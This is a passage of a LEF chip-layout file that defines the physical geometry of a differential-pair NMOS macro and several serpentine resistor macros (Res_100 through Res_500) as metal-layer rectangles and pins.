LAYER M1 ; RECT 9.9040 0.1320 9.9360 0.7080 ; LAYER M1 ; RECT 0.9440 0.1320 0.9760 0.7080 ; LAYER M1 ; RECT 1.5840 0.1320 1.6160 0.7080 ; LAYER M1 ; RECT 3.5040 0.1320 3.5360 0.7080 ; LAYER M1 ; RECT 4.1440 0.1320 4.1760 0.7080 ; LAYER M1 ; RECT 6.0640 0.1320 6.0960 0.7080 ; LAYER M1 ; RECT 6.7040 0.1320 6.7360 0.7080 ; LAYER M1 ; RECT 8.6240 0.1320 8.6560 0.7080 ; LAYER M1 ; RECT 9.2640 0.1320 9.2960 0.7080 ; LAYER M1 ; RECT 0.2240 0.9720 0.2560 1.5480 ; LAYER M1 ; RECT 2.1440 0.9720 2.1760 1.5480 ; LAYER M1 ; RECT 2.7840 0.9720 2.8160 1.5480 ; LAYER M1 ; RECT 4.7040 0.9720 4.7360 1.5480 ; LAYER M1 ; RECT 5.3440 0.9720 5.3760 1.5480 ; LAYER M1 ; RECT 7.2640 0.9720 7.2960 1.5480 ; LAYER M1 ; RECT 7.9040 0.9720 7.9360 1.5480 ; LAYER M1 ; RECT 9.8240 0.9720 9.8560 1.5480 ; LAYER M1 ; RECT 0.8640 0.9720 0.8960 1.5480 ; LAYER M1 ; RECT 1.5040 0.9720 1.5360 1.5480 ; LAYER M1 ; RECT 3.4240 0.9720 3.4560 1.5480 ; LAYER M1 ; RECT 4.0640 0.9720 4.0960 1.5480 ; LAYER M1 ; RECT 5.9840 0.9720 6.0160 1.5480 ; LAYER M1 ; RECT 6.6240 0.9720 6.6560 1.5480 ; LAYER M1 ; RECT 8.5440 0.9720 8.5760 1.5480 ; LAYER M1 ; RECT 9.1840 0.9720 9.2160 1.5480 ; LAYER M1 ; RECT 0.3840 0.9720 0.4160 1.5480 ; LAYER M1 ; RECT 2.3040 0.9720 2.3360 1.5480 ; LAYER M1 ; RECT 2.9440 0.9720 2.9760 1.5480 ; LAYER M1 ; RECT 4.8640 0.9720 4.8960 1.5480 ; LAYER M1 ; RECT 5.5040 0.9720 5.5360 1.5480 ; LAYER M1 ; RECT 7.4240 0.9720 7.4560 1.5480 ; LAYER M1 ; RECT 8.0640 0.9720 8.0960 1.5480 ; LAYER M1 ; RECT 9.9840 0.9720 10.0160 1.5480 ; LAYER M1 ; RECT 1.0240 0.9720 1.0560 1.5480 ; LAYER M1 ; RECT 1.6640 0.9720 1.6960 1.5480 ; LAYER M1 ; RECT 3.5840 0.9720 3.6160 1.5480 ; LAYER M1 ; RECT 4.2240 0.9720 4.2560 1.5480 ; LAYER M1 ; RECT 6.1440 0.9720 6.1760 1.5480 ; LAYER M1 ; RECT 6.7840 0.9720 6.8160 1.5480 ; LAYER M1 ; RECT 8.7040 0.9720 8.7360 1.5480 ; LAYER M1 ; RECT 9.3440 0.9720 9.3760 1.5480 ; LAYER M1 ; RECT 0.3040 0.9720 0.3360 1.5480 ; LAYER M1 ; RECT 2.2240 0.9720 2.2560 1.5480 ; LAYER M1 ; RECT 2.8640 0.9720 2.8960 1.5480 ; LAYER M1 ; RECT 4.7840 0.9720 4.8160 1.5480 ; LAYER M1 ; RECT 5.4240 0.9720 5.4560 1.5480 ; LAYER M1 ; RECT 7.3440 0.9720 7.3760 1.5480 ; LAYER M1 ; RECT 7.9840 0.9720 8.0160 1.5480 ; LAYER M1 ; RECT 9.9040 0.9720 9.9360 1.5480 ; LAYER M1 ; RECT 0.9440 0.9720 0.9760 1.5480 ; LAYER M1 ; RECT 1.5840 0.9720 1.6160 1.5480 ; LAYER M1 ; RECT 3.5040 0.9720 3.5360 1.5480 ; LAYER M1 ; RECT 4.1440 0.9720 4.1760 1.5480 ; LAYER M1 ; RECT 6.0640 0.9720 6.0960 1.5480 ; LAYER M1 ; RECT 6.7040 0.9720 6.7360 1.5480 ; LAYER M1 ; RECT 8.6240 0.9720 8.6560 1.5480 ; LAYER M1 ; RECT 9.2640 0.9720 9.2960 1.5480 ; LAYER M1 ; RECT 0.2240 1.8120 0.2560 2.3880 ; LAYER M1 ; RECT 2.1440 1.8120 2.1760 2.3880 ; LAYER M1 ; RECT 2.7840 1.8120 2.8160 2.3880 ; LAYER M1 ; RECT 4.7040 1.8120 4.7360 2.3880 ; LAYER M1 ; RECT 5.3440 1.8120 5.3760 2.3880 ; LAYER M1 ; RECT 7.2640 1.8120 7.2960 2.3880 ; LAYER M1 ; RECT 7.9040 1.8120 7.9360 2.3880 ; LAYER M1 ; RECT 9.8240 1.8120 9.8560 2.3880 ; LAYER M1 ; RECT 0.8640 1.8120 0.8960 2.3880 ; LAYER M1 ; RECT 1.5040 1.8120 1.5360 2.3880 ; LAYER M1 ; RECT 3.4240 1.8120 3.4560 2.3880 ; LAYER M1 ; RECT 4.0640 1.8120 4.0960 2.3880 ; LAYER M1 ; RECT 5.9840 1.8120 6.0160 2.3880 ; LAYER M1 ; RECT 6.6240 1.8120 6.6560 2.3880 ; LAYER M1 ; RECT 8.5440 1.8120 8.5760 2.3880 ; LAYER M1 ; RECT 9.1840 1.8120 9.2160 2.3880 ; LAYER M1 ; RECT 0.3840 1.8120 0.4160 2.3880 ; LAYER M1 ; RECT 2.3040 1.8120 2.3360 2.3880 ; LAYER M1 ; RECT 2.9440 1.8120 2.9760 2.3880 ; LAYER M1 ; RECT 4.8640 1.8120 4.8960 2.3880 ; LAYER M1 ; RECT 5.5040 1.8120 5.5360 2.3880 ; LAYER M1 ; RECT 7.4240 1.8120 7.4560 2.3880 ; LAYER M1 ; RECT 8.0640 1.8120 8.0960 2.3880 ; LAYER M1 ; RECT 9.9840 1.8120 10.0160 2.3880 ; LAYER M1 ; RECT 1.0240 1.8120 1.0560 2.3880 ; LAYER M1 ; RECT 1.6640 1.8120 1.6960 2.3880 ; LAYER M1 ; RECT 3.5840 1.8120 3.6160 2.3880 ; LAYER M1 ; RECT 4.2240 1.8120 4.2560 2.3880 ; LAYER M1 ; RECT 6.1440 1.8120 6.1760 2.3880 ; LAYER M1 ; RECT 6.7840 1.8120 6.8160 2.3880 ; LAYER M1 ; RECT 8.7040 1.8120 8.7360 2.3880 ; LAYER M1 ; RECT 9.3440 1.8120 9.3760 2.3880 ; LAYER M1 ; RECT 0.3040 1.8120 0.3360 2.3880 ; LAYER M1 ; RECT 2.2240 1.8120 2.2560 2.3880 ; LAYER M1 ; RECT 2.8640 1.8120 2.8960 2.3880 ; LAYER M1 ; RECT 4.7840 1.8120 4.8160 2.3880 ; LAYER M1 ; RECT 5.4240 1.8120 5.4560 2.3880 ; LAYER M1 ; RECT 7.3440 1.8120 7.3760 2.3880 ; LAYER M1 ; RECT 7.9840 1.8120 8.0160 2.3880 ; LAYER M1 ; RECT 9.9040 1.8120 9.9360 2.3880 ; LAYER M1 ; RECT 0.9440 1.8120 0.9760 2.3880 ; LAYER M1 ; RECT 1.5840 1.8120 1.6160 2.3880 ; LAYER M1 ; RECT 3.5040 1.8120 3.5360 2.3880 ; LAYER M1 ; RECT 4.1440 1.8120 4.1760 2.3880 ; LAYER M1 ; RECT 6.0640 1.8120 6.0960 2.3880 ; LAYER M1 ; RECT 6.7040 1.8120 6.7360 2.3880 ; LAYER M1 ; RECT 8.6240 1.8120 8.6560 2.3880 ; LAYER M1 ; RECT 9.2640 1.8120 9.2960 2.3880 ; LAYER M1 ; RECT 0.2240 2.6520 0.2560 3.2280 ; LAYER M1 ; RECT 2.1440 2.6520 2.1760 3.2280 ; LAYER M1 ; RECT 2.7840 2.6520 2.8160 3.2280 ; LAYER M1 ; RECT 4.7040 2.6520 4.7360 3.2280 ; LAYER M1 ; RECT 5.3440 2.6520 5.3760 3.2280 ; LAYER M1 ; RECT 7.2640 2.6520 7.2960 3.2280 ; LAYER M1 ; RECT 7.9040 2.6520 7.9360 3.2280 ; LAYER M1 ; RECT 9.8240 2.6520 9.8560 3.2280 ; LAYER M1 ; RECT 0.8640 2.6520 0.8960 3.2280 ; LAYER M1 ; RECT 1.5040 2.6520 1.5360 3.2280 ; LAYER M1 ; RECT 3.4240 2.6520 3.4560 3.2280 ; LAYER M1 ; RECT 4.0640 2.6520 4.0960 3.2280 ; LAYER M1 ; RECT 5.9840 2.6520 6.0160 3.2280 ; LAYER M1 ; RECT 6.6240 2.6520 6.6560 3.2280 ; LAYER M1 ; RECT 8.5440 2.6520 8.5760 3.2280 ; LAYER M1 ; RECT 9.1840 2.6520 9.2160 3.2280 ; LAYER M1 ; RECT 0.3840 2.6520 0.4160 3.2280 ; LAYER M1 ; RECT 2.3040 2.6520 2.3360 3.2280 ; LAYER M1 ; RECT 2.9440 2.6520 2.9760 3.2280 ; LAYER M1 ; RECT 4.8640 2.6520 4.8960 3.2280 ; LAYER M1 ; RECT 5.5040 2.6520 5.5360 3.2280 ; LAYER M1 ; RECT 7.4240 2.6520 7.4560 3.2280 ; LAYER M1 ; RECT 8.0640 2.6520 8.0960 3.2280 ; LAYER M1 ; RECT 9.9840 2.6520 10.0160 3.2280 ; LAYER M1 ; RECT 1.0240 2.6520 1.0560 3.2280 ; LAYER M1 ; RECT 1.6640 2.6520 1.6960 3.2280 ; LAYER M1 ; RECT 3.5840 2.6520 3.6160 3.2280 ; LAYER M1 ; RECT 4.2240 2.6520 4.2560 3.2280 ; LAYER M1 ; RECT 6.1440 2.6520 6.1760 3.2280 ; LAYER M1 ; RECT 6.7840 2.6520 6.8160 3.2280 ; LAYER M1 ; RECT 8.7040 2.6520 8.7360 3.2280 ; LAYER M1 ; RECT 9.3440 2.6520 9.3760 3.2280 ; LAYER M1 ; RECT 0.3040 2.6520 0.3360 3.2280 ; LAYER M1 ; RECT 2.2240 2.6520 2.2560 3.2280 ; LAYER M1 ; RECT 2.8640 2.6520 2.8960 3.2280 ; LAYER M1 ; RECT 4.7840 2.6520 4.8160 3.2280 ; LAYER M1 ; RECT 5.4240 2.6520 5.4560 3.2280 ; LAYER M1 ; RECT 7.3440 2.6520 7.3760 3.2280 ; LAYER M1 ; RECT 7.9840 2.6520 8.0160 3.2280 ; LAYER M1 ; RECT 9.9040 2.6520 9.9360 3.2280 ; LAYER M1 ; RECT 0.9440 2.6520 0.9760 3.2280 ; LAYER M1 ; RECT 1.5840 2.6520 1.6160 3.2280 ; LAYER M1 ; RECT 3.5040 2.6520 3.5360 3.2280 ; LAYER M1 ; RECT 4.1440 2.6520 4.1760 3.2280 ; LAYER M1 ; RECT 6.0640 2.6520 6.0960 3.2280 ; LAYER M1 ; RECT 6.7040 2.6520 6.7360 3.2280 ; LAYER M1 ; RECT 8.6240 2.6520 8.6560 3.2280 ; LAYER M1 ; RECT 9.2640 2.6520 9.2960 3.2280 ; LAYER M1 ; RECT 0.2240 3.4920 0.2560 4.0680 ; LAYER M1 ; RECT 2.1440 3.4920 2.1760 4.0680 ; LAYER M1 ; RECT 2.7840 3.4920 2.8160 4.0680 ; LAYER M1 ; RECT 4.7040 3.4920 4.7360 4.0680 ; LAYER M1 ; RECT 5.3440 3.4920 5.3760 4.0680 ; LAYER M1 ; RECT 7.2640 3.4920 7.2960 4.0680 ; LAYER M1 ; RECT 7.9040 3.4920 7.9360 4.0680 ; LAYER M1 ; RECT 9.8240 3.4920 9.8560 4.0680 ; LAYER M1 ; RECT 0.8640 3.4920 0.8960 4.0680 ; LAYER M1 ; RECT 1.5040 3.4920 1.5360 4.0680 ; LAYER M1 ; RECT 3.4240 3.4920 3.4560 4.0680 ; LAYER M1 ; RECT 4.0640 3.4920 4.0960 4.0680 ; LAYER M1 ; RECT 5.9840 3.4920 6.0160 4.0680 ; LAYER M1 ; RECT 6.6240 3.4920 6.6560 4.0680 ; LAYER M1 ; RECT 8.5440 3.4920 8.5760 4.0680 ; LAYER M1 ; RECT 9.1840 3.4920 9.2160 4.0680 ; LAYER M1 ; RECT 0.3840 3.4920 0.4160 4.0680 ; LAYER M1 ; RECT 2.3040 3.4920 2.3360 4.0680 ; LAYER M1 ; RECT 2.9440 3.4920 2.9760 4.0680 ; LAYER M1 ; RECT 4.8640 3.4920 4.8960 4.0680 ; LAYER M1 ; RECT 5.5040 3.4920 5.5360 4.0680 ; LAYER M1 ; RECT 7.4240 3.4920 7.4560 4.0680 ; LAYER M1 ; RECT 8.0640 3.4920 8.0960 4.0680 ; LAYER M1 ; RECT 9.9840 3.4920 10.0160 4.0680 ; LAYER M1 ; RECT 1.0240 3.4920 1.0560 4.0680 ; LAYER M1 ; RECT 1.6640 3.4920 1.6960 4.0680 ; LAYER M1 ; RECT 3.5840 3.4920 3.6160 4.0680 ; LAYER M1 ; RECT 4.2240 3.4920 4.2560 4.0680 ; LAYER M1 ; RECT 6.1440 3.4920 6.1760 4.0680 ; LAYER M1 ; RECT 6.7840 3.4920 6.8160 4.0680 ; LAYER M1 ; RECT 8.7040 3.4920 8.7360 4.0680 ; LAYER M1 ; RECT 9.3440 3.4920 9.3760 4.0680 ; LAYER M1 ; RECT 0.3040 3.4920 0.3360 4.0680 ; LAYER M1 ; RECT 2.2240 3.4920 2.2560 4.0680 ; LAYER M1 ; RECT 2.8640 3.4920 2.8960 4.0680 ; LAYER M1 ; RECT 4.7840 3.4920 4.8160 4.0680 ; LAYER M1 ; RECT 5.4240 3.4920 5.4560 4.0680 ; LAYER M1 ; RECT 7.3440 3.4920 7.3760 4.0680 ; LAYER M1 ; RECT 7.9840 3.4920 8.0160 4.0680 ; LAYER M1 ; RECT 9.9040 3.4920 9.9360 4.0680 ; LAYER M1 ; RECT 0.9440 3.4920 0.9760 4.0680 ; LAYER M1 ; RECT 1.5840 3.4920 1.6160 4.0680 ; LAYER M1 ; RECT 3.5040 3.4920 3.5360 4.0680 ; LAYER M1 ; RECT 4.1440 3.4920 4.1760 4.0680 ; LAYER M1 ; RECT 6.0640 3.4920 6.0960 4.0680 ; LAYER M1 ; RECT 6.7040 3.4920 6.7360 4.0680 ; LAYER M1 ; RECT 8.6240 3.4920 8.6560 4.0680 ; LAYER M1 ; RECT 9.2640 3.4920 9.2960 4.0680 ; END END DP_NMOS_n10_X8_Y5 MACRO Res_100 ORIGIN 0 0 ; FOREIGN Res_100 0 0 ; SIZE 0.3200 BY 0.5880 ; PIN PLUS DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.0000 0.0680 0.1000 0.1000 ; END END PLUS PIN MINUS DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.2200 0.0680 0.3200 0.1000 ; END END MINUS OBS LAYER M1 ; RECT 0.0480 0.0480 0.0800 0.5400 ; LAYER M1 ; RECT 0.0480 0.4880 0.1440 0.5200 ; LAYER M1 ; RECT 0.1120 0.0680 0.1440 0.5200 ; LAYER M1 ; RECT 0.1120 0.0680 0.2080 0.1000 ; LAYER M1 ; RECT 0.1760 0.0680 0.2080 0.5200 ; LAYER M1 ; RECT 0.1760 0.4880 0.2720 0.5200 ; LAYER M1 ; RECT 0.2400 0.0480 0.2720 0.5400 ; END END Res_100 MACRO Res_20000 ORIGIN 0 0 ; FOREIGN Res_20000 0 0 ; SIZE 5.1200 BY 3.9480 ; PIN PLUS DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.0000 0.0680 0.1000 0.1000 ; END END PLUS PIN MINUS DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 5.0200 3.8480 5.1200 3.8800 ; END END MINUS OBS LAYER M1 ; RECT 0.0480 0.0480 0.0800 3.9000 ; LAYER M1 ; RECT 0.0480 3.8480 0.1440 3.8800 ; LAYER M1 ; RECT 0.1120 0.0680 0.1440 3.8800 ; LAYER M1 ; RECT 0.1120 0.0680 0.2080 0.1000 ; LAYER M1 ; RECT 0.1760 0.0680 0.2080 3.8800 ; LAYER M1 ; RECT 0.1760 3.8480 0.2720 3.8800 ; LAYER M1 ; RECT 0.2400 0.0680 0.2720 3.8800 ; LAYER M1 ; RECT 0.2400 0.0680 0.3360 0.1000 ; LAYER M1 ; RECT 0.3040 0.0680 0.3360 3.8800 ; LAYER M1 ; RECT 0.3040 3.8480 0.4000 3.8800 ; LAYER M1 ; RECT 0.3680 0.0680 0.4000 3.8800 ; LAYER M1 ; RECT 0.3680 0.0680 0.4640 0.1000 ; LAYER M1 ; RECT 0.4320 0.0680 0.4640 3.8800 ; LAYER M1 ; RECT 0.4320 3.8480 0.5280 3.8800 ; LAYER M1 ; RECT 0.4960 0.0680 0.5280 3.8800 ; LAYER M1 ; RECT 0.4960 0.0680 0.5920 0.1000 ; LAYER M1 ; RECT 0.5600 0.0680 0.5920 3.8800 ; LAYER M1 ; RECT 0.5600 3.8480 0.6560 3.8800 ; LAYER M1 ; RECT 0.6240 0.0680 0.6560 3.8800 ; LAYER M1 ; RECT 0.6240 0.0680 0.7200 0.1000 ; LAYER M1 ; RECT 0.6880 0.0680 0.7200 3.8800 ; LAYER M1 ; RECT 0.6880 3.8480 0.7840 3.8800 ; LAYER M1 ; RECT 0.7520 0.0680 0.7840 3.8800 ; LAYER M1 ; RECT 0.7520 0.0680 0.8480 0.1000 ; LAYER M1 ; RECT 0.8160 0.0680 0.8480 3.8800 ; LAYER M1 ; RECT 0.8160 3.8480 0.9120 3.8800 ; LAYER M1 ; RECT 0.8800 0.0680 0.9120 3.8800 ; LAYER M1 ; RECT 0.8800 0.0680 0.9760 0.1000 ; LAYER M1 ; RECT 0.9440 0.0680 0.9760 3.8800 ; LAYER M1 ; RECT 0.9440 3.8480 1.0400 3.8800 ; LAYER M1 ; RECT 1.0080 0.0680 1.0400 3.8800 ; LAYER M1 ; RECT 1.0080 0.0680 1.1040 0.1000 ; LAYER M1 ; RECT 1.0720 0.0680 1.1040 3.8800 ; LAYER M1 ; RECT 1.0720 3.8480 1.1680 3.8800 ; LAYER M1 ; RECT 1.1360 0.0680 1.1680 3.8800 ; LAYER M1 ; RECT 1.1360 0.0680 1.2320 0.1000 ; LAYER M1 ; RECT 1.2000 0.0680 1.2320 3.8800 ; LAYER M1 ; RECT 1.2000 3.8480 1.2960 3.8800 ; LAYER M1 ; RECT 1.2640 0.0680 1.2960 3.8800 ; LAYER M1 ; RECT 1.2640 0.0680 1.3600 0.1000 ; LAYER M1 ; RECT 1.3280 0.0680 1.3600 3.8800 ; LAYER M1 ; RECT 1.3280 3.8480 1.4240 3.8800 ; LAYER M1 ; RECT 1.3920 0.0680 1.4240 3.8800 ; LAYER M1 ; RECT 1.3920 0.0680 1.4880 0.1000 ; LAYER M1 ; RECT 1.4560 0.0680 1.4880 3.8800 ; LAYER M1 ; RECT 1.4560 3.8480 1.5520 3.8800 ; LAYER M1 ; RECT 1.5200 0.0680 1.5520 3.8800 ; LAYER M1 ; RECT 1.5200 0.0680 1.6160 0.1000 ; LAYER M1 ; RECT 1.5840 0.0680 1.6160 3.8800 ; LAYER M1 ; RECT 1.5840 3.8480 1.6800 3.8800 ; LAYER M1 ; RECT 1.6480 0.0680 1.6800 3.8800 ; LAYER M1 ; RECT 1.6480 0.0680 1.7440 0.1000 ; LAYER M1 ; RECT 1.7120 0.0680 1.7440 3.8800 ; LAYER M1 ; RECT 1.7120 3.8480 1.8080 3.8800 ; LAYER M1 ; RECT 1.7760 0.0680 1.8080 3.8800 ; LAYER M1 ; RECT 1.7760 0.0680 1.8720 0.1000 ; LAYER M1 ; RECT 1.8400 0.0680 1.8720 3.8800 ; LAYER M1 ; RECT 1.8400 3.8480 1.9360 3.8800 ; LAYER M1 ; RECT 1.9040 0.0680 1.9360 3.8800 ; LAYER M1 ; RECT 1.9040 0.0680 2.0000 0.1000 ; LAYER M1 ; RECT 1.9680 0.0680 2.0000 3.8800 ; LAYER M1 ; RECT 1.9680 3.8480 2.0640 3.8800 ; LAYER M1 ; RECT 2.0320 0.0680 2.0640 3.8800 ; LAYER M1 ; RECT 2.0320 0.0680 2.1280 0.1000 ; LAYER M1 ; RECT 2.0960 0.0680 2.1280 3.8800 ; LAYER M1 ; RECT 2.0960 3.8480 2.1920 3.8800 ; LAYER M1 ; RECT 2.1600 0.0680 2.1920 3.8800 ; LAYER M1 ; RECT 2.1600 0.0680 2.2560 0.1000 ; LAYER M1 ; RECT 2.2240 0.0680 2.2560 3.8800 ; LAYER M1 ; RECT 2.2240 3.8480 2.3200 3.8800 ; LAYER M1 ; RECT 2.2880 0.0680 2.3200 3.8800 ; LAYER M1 ; RECT 2.2880 0.0680 2.3840 0.1000 ; LAYER M1 ; RECT 2.3520 0.0680 2.3840 3.8800 ; LAYER M1 ; RECT 2.3520 3.8480 2.4480 3.8800 ; LAYER M1 ; RECT 2.4160 0.0680 2.4480 3.8800 ; LAYER M1 ; RECT 2.4160 0.0680 2.5120 0.1000 ; LAYER M1 ; RECT 2.4800 0.0680 2.5120 3.8800 ; LAYER M1 ; RECT 2.4800 3.8480 2.5760 3.8800 ; LAYER M1 ; RECT 2.5440 0.0680 2.5760 3.8800 ; LAYER M1 ; RECT 2.5440 0.0680 2.6400 0.1000 ; LAYER M1 ; RECT 2.6080 0.0680 2.6400 3.8800 ; LAYER M1 ; RECT 2.6080 3.8480 2.7040 3.8800 ; LAYER M1 ; RECT 2.6720 0.0680 2.7040 3.8800 ; LAYER M1 ; RECT 2.6720 0.0680 2.7680 0.1000 ; LAYER M1 ; RECT 2.7360 0.0680 2.7680 3.8800 ; LAYER M1 ; RECT 2.7360 3.8480 2.8320 3.8800 ; LAYER M1 ; RECT 2.8000 0.0680 2.8320 3.8800 ; LAYER M1 ; RECT 2.8000 0.0680 2.8960 0.1000 ; LAYER M1 ; RECT 2.8640 0.0680 2.8960 3.8800 ; LAYER M1 ; RECT 2.8640 3.8480 2.9600 3.8800 ; LAYER M1 ; RECT 2.9280 0.0680 2.9600 3.8800 ; LAYER M1 ; RECT 2.9280 0.0680 3.0240 0.1000 ; LAYER M1 ; RECT 2.9920 0.0680 3.0240 3.8800 ; LAYER M1 ; RECT 2.9920 3.8480 3.0880 3.8800 ; LAYER M1 ; RECT 3.0560 0.0680 3.0880 3.8800 ; LAYER M1 ; RECT 3.0560 0.0680 3.1520 0.1000 ; LAYER M1 ; RECT 3.1200 0.0680 3.1520 3.8800 ; LAYER M1 ; RECT 3.1200 3.8480 3.2160 3.8800 ; LAYER M1 ; RECT 3.1840 0.0680 3.2160 3.8800 ; LAYER M1 ; RECT 3.1840 0.0680 3.2800 0.1000 ; LAYER M1 ; RECT 3.2480 0.0680 3.2800 3.8800 ; LAYER M1 ; RECT 3.2480 3.8480 3.3440 3.8800 ; LAYER M1 ; RECT 3.3120 0.0680 3.3440 3.8800 ; LAYER M1 ; RECT 3.3120 0.0680 3.4080 0.1000 ; LAYER M1 ; RECT 3.3760 0.0680 3.4080 3.8800 ; LAYER M1 ; RECT 3.3760 3.8480 3.4720 3.8800 ; LAYER M1 ; RECT 3.4400 0.0680 3.4720 3.8800 ; LAYER M1 ; RECT 3.4400 0.0680 3.5360 0.1000 ; LAYER M1 ; RECT 3.5040 0.0680 3.5360 3.8800 ; LAYER M1 ; RECT 3.5040 3.8480 3.6000 3.8800 ; LAYER M1 ; RECT 3.5680 0.0680 3.6000 3.8800 ; LAYER M1 ; RECT 3.5680 0.0680 3.6640 0.1000 ; LAYER M1 ; RECT 3.6320 0.0680 3.6640 3.8800 ; LAYER M1 ; RECT 3.6320 3.8480 3.7280 3.8800 ; LAYER M1 ; RECT 3.6960 0.0680 3.7280 3.8800 ; LAYER M1 ; RECT 3.6960 0.0680 3.7920 0.1000 ; LAYER M1 ; RECT 3.7600 0.0680 3.7920 3.8800 ; LAYER M1 ; RECT 3.7600 3.8480 3.8560 3.8800 ; LAYER M1 ; RECT 3.8240 0.0680 3.8560 3.8800 ; LAYER M1 ; RECT 3.8240 0.0680 3.9200 0.1000 ; LAYER M1 ; RECT 3.8880 0.0680 3.9200 3.8800 ; LAYER M1 ; RECT 3.8880 3.8480 3.9840 3.8800 ; LAYER M1 ; RECT 3.9520 0.0680 3.9840 3.8800 ; LAYER M1 ; RECT 3.9520 0.0680 4.0480 0.1000 ; LAYER M1 ; RECT 4.0160 0.0680 4.0480 3.8800 ; LAYER M1 ; RECT 4.0160 3.8480 4.1120 3.8800 ; LAYER M1 ; RECT 4.0800 0.0680 4.1120 3.8800 ; LAYER M1 ; RECT 4.0800 0.0680 4.1760 0.1000 ; LAYER M1 ; RECT 4.1440 0.0680 4.1760 3.8800 ; LAYER M1 ; RECT 4.1440 3.8480 4.2400 3.8800 ; LAYER M1 ; RECT 4.2080 0.0680 4.2400 3.8800 ; LAYER M1 ; RECT 4.2080 0.0680 4.3040 0.1000 ; LAYER M1 ; RECT 4.2720 0.0680 4.3040 3.8800 ; LAYER M1 ; RECT 4.2720 3.8480 4.3680 3.8800 ; LAYER M1 ; RECT 4.3360 0.0680 4.3680 3.8800 ; LAYER M1 ; RECT 4.3360 0.0680 4.4320 0.1000 ; LAYER M1 ; RECT 4.4000 0.0680 4.4320 3.8800 ; LAYER M1 ; RECT 4.4000 3.8480 4.4960 3.8800 ; LAYER M1 ; RECT 4.4640 0.0680 4.4960 3.8800 ; LAYER M1 ; RECT 4.4640 0.0680 4.5600 0.1000 ; LAYER M1 ; RECT 4.5280 0.0680 4.5600 3.8800 ; LAYER M1 ; RECT 4.5280 3.8480 4.6240 3.8800 ; LAYER M1 ; RECT 4.5920 0.0680 4.6240 3.8800 ; LAYER M1 ; RECT 4.5920 0.0680 4.6880 0.1000 ; LAYER M1 ; RECT 4.6560 0.0680 4.6880 3.8800 ; LAYER M1 ; RECT 4.6560 3.8480 4.7520 3.8800 ; LAYER M1 ; RECT 4.7200 0.0680 4.7520 3.8800 ; LAYER M1 ; RECT 4.7200 0.0680 4.8160 0.1000 ; LAYER M1 ; RECT 4.7840 0.0680 4.8160 3.8800 ; LAYER M1 ; RECT 4.7840 3.8480 4.8800 3.8800 ; LAYER M1 ; RECT 4.8480 0.0680 4.8800 3.8800 ; LAYER M1 ; RECT 4.8480 0.0680 4.9440 0.1000 ; LAYER M1 ; RECT 4.9120 0.0680 4.9440 3.8800 ; LAYER M1 ; RECT 4.9120 3.8480 5.0080 3.8800 ; LAYER M1 ; RECT 4.9760 0.0680 5.0080 3.8800 ; LAYER M1 ; RECT 4.9760 0.0680 5.0720 0.1000 ; LAYER M1 ; RECT 5.0400 0.0480 5.0720 3.9000 ; END END Res_20000 MACRO Res_200 ORIGIN 0 0 ; FOREIGN Res_200 0 0 ; SIZE 0.5120 BY 0.5880 ; PIN PLUS DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.0000 0.0680 0.1000 0.1000 ; END END PLUS PIN MINUS DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.4120 0.4880 0.5120 0.5200 ; END END MINUS OBS LAYER M1 ; RECT 0.0480 0.0480 0.0800 0.5400 ; LAYER M1 ; RECT 0.0480 0.4880 0.1440 0.5200 ; LAYER M1 ; RECT 0.1120 0.0680 0.1440 0.5200 ; LAYER M1 ; RECT 0.1120 0.0680 0.2080 0.1000 ; LAYER M1 ; RECT 0.1760 0.0680 0.2080 0.5200 ; LAYER M1 ; RECT 0.1760 0.4880 0.2720 0.5200 ; LAYER M1 ; RECT 0.2400 0.0680 0.2720 0.5200 ; LAYER M1 ; RECT 0.2400 0.0680 0.3360 0.1000 ; LAYER M1 ; RECT 0.3040 0.0680 0.3360 0.5200 ; LAYER M1 ; RECT 0.3040 0.4880 0.4000 0.5200 ; LAYER M1 ; RECT 0.3680 0.0680 0.4000 0.5200 ; LAYER M1 ; RECT 0.3680 0.0680 0.4640 0.1000 ; LAYER M1 ; RECT 0.4320 0.0480 0.4640 0.5400 ; END END Res_200 MACRO Res_400 ORIGIN 0 0 ; FOREIGN Res_400 0 0 ; SIZE 0.5120 BY 1.0080 ; PIN PLUS DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.0000 0.0680 0.1000 0.1000 ; END END PLUS PIN MINUS DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.4120 0.9080 0.5120 0.9400 ; END END MINUS OBS LAYER M1 ; RECT 0.0480 0.0480 0.0800 0.9600 ; LAYER M1 ; RECT 0.0480 0.9080 0.1440 0.9400 ; LAYER M1 ; RECT 0.1120 0.0680 0.1440 0.9400 ; LAYER M1 ; RECT 0.1120 0.0680 0.2080 0.1000 ; LAYER M1 ; RECT 0.1760 0.0680 0.2080 0.9400 ; LAYER M1 ; RECT 0.1760 0.9080 0.2720 0.9400 ; LAYER M1 ; RECT 0.2400 0.0680 0.2720 0.9400 ; LAYER M1 ; RECT 0.2400 0.0680 0.3360 0.1000 ; LAYER M1 ; RECT 0.3040 0.0680 0.3360 0.9400 ; LAYER M1 ; RECT 0.3040 0.9080 0.4000 0.9400 ; LAYER M1 ; RECT 0.3680 0.0680 0.4000 0.9400 ; LAYER M1 ; RECT 0.3680 0.0680 0.4640 0.1000 ; LAYER M1 ; RECT 0.4320 0.0480 0.4640 0.9600 ; END END Res_400 MACRO Res_500 ORIGIN 0 0 ; FOREIGN Res_500 0 0 ; SIZE 0.6400 BY 1.0080 ; PIN PLUS DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.0000 0.0680 0.1000 0.1000 ; END END PLUS PIN MINUS DIRECTION INOUT ; USE SIGNAL ; PORT LAYER M2 ; RECT 0.5400 0.9080 0.6400 0.9400 ; END END MINUS OBS LAYER M1 ; RECT 0.0480 0.0480 0.0800 0.9600 ; LAYER M1 ; RECT 0.0480 0.9080 0.1440 0.9400 ; LAYER M1 ; RECT 0.1120 0.0680 0.1440 0.9400 ; LAYER M1 ; RECT 0.1120 0.0680 0.2080 0.1000 ; LAYER M1 ; RECT 0.1760 0.0680 0.2080 0.9400 ; LAYER M1 ; RECT 0.1760 0.9080 0.2720 0.9400 ; LAYER M1 ; RECT 